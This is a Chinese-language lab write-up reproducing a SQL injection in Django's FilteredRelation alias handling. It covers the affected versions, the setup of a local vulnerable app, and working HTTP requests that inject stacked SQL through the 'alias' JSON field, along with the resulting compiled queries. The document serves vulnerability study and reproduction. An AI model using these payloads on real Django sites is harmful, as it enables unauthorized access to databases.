Django时隔一年爆出来的SQL注入漏洞,大概一看大概是别名引起的注入(毕竟别名是无法预编译的)
该漏洞影响 Django 框架中的 FilteredRelation 功能,当使用 QuerySet.annotate() 或 QuerySet.alias()方法,并通过 Python 的字典扩展 (**kwargs) 提供列别名时,存在 SQL 注入风险。这是由于对字典键(即列别名)未进行充分验证,导致攻击者可构造恶意字典注入不受限制的 SQL 语句
该漏洞的影响范围为
- Django 4.2 之前的 4.2.24 版本
- Django 5.1 之前的 5.1.12 版本
- Django 5.2 之前的 5.2.6 版本
该漏洞项目使用vscode的devcontiner进行构建
1️⃣ 打开项目 用 VS Code 打开已经存在的项目根目录(包含 .devcontainer 文件夹)。
2️⃣ 重新打开容器(构建 Dev Container)
按 Ctrl+Shift+P(Windows/Linux)或 Cmd+Shift+P(Mac)
输入 Remote-Containers: Reopen in Container
VS Code 会读取 .devcontainer 配置并构建容器(首次构建可能需要几分钟)
3️⃣ 运行 Django 开发服务器
打开命令面板 Ctrl+Shift+P
输入 Tasks: Run Task
选择 django:start(任务已在 .vscode/tasks.json 配置)
这个任务会在容器内启动 Django 开发服务器
默认监听 0.0.0.0:8085
4️⃣ 打开浏览器访问项目
打开浏览器访问:
5️⃣ 注意事项
第一次运行:
可能需要执行数据库迁移:
python manage.py migrate
服务器启动后访问http://localhost:8085
访问/book/search接口,正常去访问
POST /book/search HTTP/1.1
Host: localhost:8085
Content-Type: application/json
{"alias":"XXX","author":"Bob"}
此时django orm底层编译出来的sql为
SELECT "vuln_book"."id", "vuln_book"."title", "vuln_book"."author_id" FROM "vuln_book" INNER JOIN "vuln_author" XXX ON ("vuln_book"."author_id" = XXX."id" AND (XXX."name" = Bob)) WHERE XXX."id" > 0可以看到将创建了一个vuln_author表的别名XXX,基于上述补丁分析可知当前没有对XXX进行过滤,所以对其进行注入。
直接使用堆叠注入由于之前的第一个sql不合法并不会执行到第二个sql
POST /book/search HTTP/1.1
Host: localhost:8085
Content-Type: application/json
{"alias":"XXX;select user --","author":"Bob"}
所以需要先使得第一个语句合法,此处由于是关联关系,所以直接使用using语法
POST /book/search HTTP/1.1
Host: localhost:8085
Content-Type: application/json
{"alias":" using(id);select user --","author":"Bob"}
至此注入成功,查到了数据库的执行用户为postgres,此时底层编译成功的sql语句为
SELECT "vuln_book"."id", "vuln_book"."title", "vuln_book"."author_id" FROM "vuln_book" INNER JOIN "vuln_author" using(id);select user -- ON ("vuln_book"."author_id" = using(id);select user --."id" AND ( using(id);select user --."name" = Bob)) WHERE using(id);select user --."id" > 0

